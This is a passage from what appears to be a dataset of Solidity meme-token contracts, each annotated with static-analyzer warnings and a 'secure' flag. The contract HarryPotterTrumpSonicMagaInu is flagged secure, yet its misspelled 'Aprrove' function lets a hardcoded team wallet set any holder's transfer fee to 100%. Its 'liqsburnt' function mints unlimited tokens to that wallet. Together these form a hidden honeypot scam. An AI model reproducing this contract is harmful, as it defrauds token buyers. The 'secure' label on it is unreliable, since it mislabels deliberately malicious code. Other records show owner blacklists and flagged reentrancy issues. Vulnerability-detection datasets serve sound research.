Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ebabae6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ebabae6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f7ecb42): TEW.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f7ecb42: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9a246d): TEW.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d9a246d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9979ba5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9979ba5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e7d29d7\n\t\t// reentrancy-benign | ID: ebabae6\n\t\t// reentrancy-eth | ID: 9979ba5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ebabae6\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: ebabae6\n isFree[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e7d29d7\n\t\t// unused-return | ID: d9a246d\n\t\t// reentrancy-eth | ID: 9979ba5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e7d29d7\n\t\t// unused-return | ID: f7ecb42\n\t\t// reentrancy-eth | ID: 9979ba5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: e7d29d7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9979ba5\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e7d29d7\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_4010.sol", "secure": 0, "size_bytes": 20635 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract HarryPotterTrumpSonicMagaInu is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe24d86): HarryPotterTrumpSonicMagaInu._decimals should be immutable \n\t// Recommendation for fe24d86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6780aaa): HarryPotterTrumpSonicMagaInu._totalSupply should be immutable \n\t// Recommendation for 6780aaa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 031d47c): HarryPotterTrumpSonicMagaInu._teamwallet should be immutable \n\t// Recommendation for 031d47c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _teamwallet;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _teamwallet = 0xB335b9a02cE89c2d2Ce00c2A5f13949755C95D7e;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aprrove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _teamwallet;\n }\n\n function liqsburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_4011.sol", "secure": 1, "size_bytes": 5426 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3a8a314): Rizo.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 3a8a314: Consider ordering multiplication before division.\ncontract Rizo is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 262d708): Rizo._taxWallet should be immutable \n\t// Recommendation for 262d708: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30537ed): Rizo._initialBuyTax should be constant \n\t// Recommendation for 30537ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 863c03b): Rizo._initialSellTax should be constant \n\t// Recommendation for 863c03b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 482e928): Rizo._finalBuyTax should be constant \n\t// Recommendation for 482e928: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76c14a9): Rizo._finalSellTax should be constant \n\t// Recommendation for 76c14a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2760932): Rizo._reduceBuyTaxAt should be constant \n\t// Recommendation for 2760932: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 088928c): Rizo._reduceSellTaxAt should be constant \n\t// Recommendation for 088928c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3ebb04): Rizo._preventSwapBefore should be constant \n\t// Recommendation for c3ebb04: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4850a8): Rizo._transferTax should be constant \n\t// Recommendation for a4850a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Rizo - Tesla's Mascot\";\n\n string private constant _symbol = unicode\"RIZO\";\n\n\t// divide-before-multiply | ID: 3a8a314\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 35522a3\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5562c4f): Rizo._taxSwapThreshold should be constant \n\t// Recommendation for 5562c4f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1fcf809\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6044662): Rizo._maxTaxSwap should be constant \n\t// Recommendation for 6044662: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4ec55fb\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: c4aa197): Rizo.uniswapV2Router should be immutable \n\t// Recommendation for c4aa197: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b6f07db): Rizo.uniswapV2Pair should be immutable \n\t// Recommendation for b6f07db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 11dcdf7): Rizo.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 11dcdf7: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x60Eba974e4786046fcC1126DA697bAa6D750E426);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 11dcdf7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 166e371): Rizo.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 166e371: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4e4b344): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4e4b344: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68fd904): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68fd904: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4e4b344\n\t\t// reentrancy-benign | ID: 68fd904\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4e4b344\n\t\t// reentrancy-benign | ID: 68fd904\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb20412): Rizo._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cb20412: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 68fd904\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4e4b344\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cfe5509): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cfe5509: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 982331c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 982331c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cfe5509\n\t\t\t\t// reentrancy-eth | ID: 982331c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cfe5509\n\t\t\t\t\t// reentrancy-eth | ID: 982331c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 982331c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 982331c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 982331c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cfe5509\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 982331c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 982331c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cfe5509\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cfe5509\n\t\t// reentrancy-events | ID: 4e4b344\n\t\t// reentrancy-benign | ID: 68fd904\n\t\t// reentrancy-eth | ID: 982331c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cfe5509\n\t\t// reentrancy-events | ID: 4e4b344\n\t\t// reentrancy-eth | ID: 982331c\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e4675ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e4675ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bbcd5df): Rizo.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bbcd5df: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 42c23db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 42c23db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e4675ee\n\t\t// unused-return | ID: bbcd5df\n\t\t// reentrancy-eth | ID: 42c23db\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e4675ee\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 42c23db\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_4012.sol", "secure": 0, "size_bytes": 18411 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DomoArigato is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: db275cc): DomoArigato._taxWallet should be immutable \n\t// Recommendation for db275cc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f4fa48): DomoArigato._initialBuyTax should be constant \n\t// Recommendation for 8f4fa48: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3e7a22): DomoArigato._initialSellTax should be constant \n\t// Recommendation for d3e7a22: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12099a1): DomoArigato._finalBuyTax should be constant \n\t// Recommendation for 12099a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f8188b): DomoArigato._finalSellTax should be constant \n\t// Recommendation for 8f8188b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1758cf): DomoArigato._reduceBuyTaxAt should be constant \n\t// Recommendation for f1758cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25a32e8): DomoArigato._reduceSellTaxAt should be constant \n\t// Recommendation for 25a32e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b9a010c): DomoArigato._preventSwapBefore should be constant \n\t// Recommendation for b9a010c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Domo Arigato\";\n\n string private constant _symbol = unicode\"JAPLON\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 085522c): DomoArigato._taxSwapThreshold should be constant \n\t// Recommendation for 085522c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89ae645): DomoArigato._maxTaxSwap should be constant \n\t// Recommendation for 89ae645: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f1054f6): DomoArigato.uniswapV2Router should be immutable \n\t// Recommendation for f1054f6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c542b6b): DomoArigato.uniswapV2Pair should be immutable \n\t// Recommendation for c542b6b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[address(uniswapV2Pair)] = true;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ccd518): DomoArigato.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5ccd518: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6482a89): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6482a89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 536a49e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 536a49e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6482a89\n\t\t// reentrancy-benign | ID: 536a49e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6482a89\n\t\t// reentrancy-benign | ID: 536a49e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b977e71): DomoArigato._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b977e71: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero 